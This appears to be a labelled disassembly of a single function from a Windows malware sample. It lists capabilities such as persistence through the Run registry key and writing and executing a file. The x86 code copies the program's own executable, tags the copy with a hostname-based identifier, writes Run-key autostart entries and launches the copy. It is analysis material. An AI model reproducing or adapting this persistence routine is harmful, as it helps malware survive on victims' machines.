Function at 0x4036e0
Capabilities:
Copy file
Create process on windows
Get hostname
Persist via run registry key
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xae0
lea eax, [esp + 0x1d8]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or ecx, 0xffffffff
xor eax, eax
mov edi, dword [esp + 0xaf0]
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40c1fc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [0x40c518]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll__strlwr]
call esi
lea ecx, [esp + 0x1e8]
push ecx
call esi
add esp, 8
lea esi, [esp + 0x14]
lea eax, [esp + 0x1e4]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4037ce
test cl, cl
je 0x4037ca
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4037ce
add eax, 2
add esi, 2
test cl, cl
jne 0x4037a6
xor eax, eax
jmp 0x4037d3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4037e3
pop edi
pop esi
pop ebx
add esp, 0xae0
ret 4
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0x1e8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x403808
pop edi
pop esi
pop ebx
add esp, 0xae0
ret 4
push ebp
lea edx, [esp + 0x18]
push 0x40c1f8
push edx
xor ebx, ebx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x40388d
or edi, 0xffffffff
mov ebp, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push edi
push esi
call ebp
push esi
call dword [sym.imp.MSVCRT.dll_fgetc]
add esp, 0x10
cmp al, 0xaa
jne 0x40384f
sub edi, 0x32
add ebx, 0x32
cmp edi, 0xfffff82f
jg 0x403827
mov edi, ebx
push 2
neg edi
push edi
push esi
call ebp
push esi
push 1
lea eax, [esp + 0x304]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push 2
push edi
push esi
call ebp
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
mov ecx, dword [esi + 0x10]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__chsize]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x38
lea edx, [esp + 0x14]
lea eax, [esp + 0x184]
push edx
push eax
mov dword [esp + 0x1c], 0x64
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x120]
push eax
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
add esp, 8
call esi
push eax
call esi
lea ecx, [esp + 0x188]
push eax
push ecx
lea edx, [esp + 0x12c]
push str._s__04X_04X
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + ebx + 0x304]
mov ecx, 0xc
lea esi, [esp + 0x134]
mov byte [esp + 0x165], 0xaa
rep movsd dword es:[edi], dword [esi]
add esp, 0x14
lea eax, [esp + 0x10]
movsw word es:[edi], word [esi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call esi
mov edi, dword [sym.imp.MSVCRT.dll__mbslen]
lea ecx, [esp + 0x18]
push ecx
call edi
mov ecx, dword [esp + 0x14]
add esp, 4
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x18]
push eax
mov eax, dword [0x40c518]
push edx
push 1
push 0
push eax
push ecx
call ebp
lea edx, [esp + 0x10]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call esi
lea eax, [esp + 0x18]
push eax
call edi
mov edx, dword [0x40c518]
add esp, 4
lea ecx, [esp + 0x18]
push eax
mov eax, dword [esp + 0x14]
push ecx
push 1
push 0
push edx
push eax
call ebp
lea ecx, [esp + 0x18]
push 0x40c1f8
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov esi, eax
test esi, esi
pop ebp
je 0x4039db
push 2
push 0
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
add ebx, 0x32
push 1
lea edx, [esp + 0x300]
push ebx
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x20
push 5
push 0
lea eax, [esp + 0x1c]
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
add esp, 0xae0
ret 4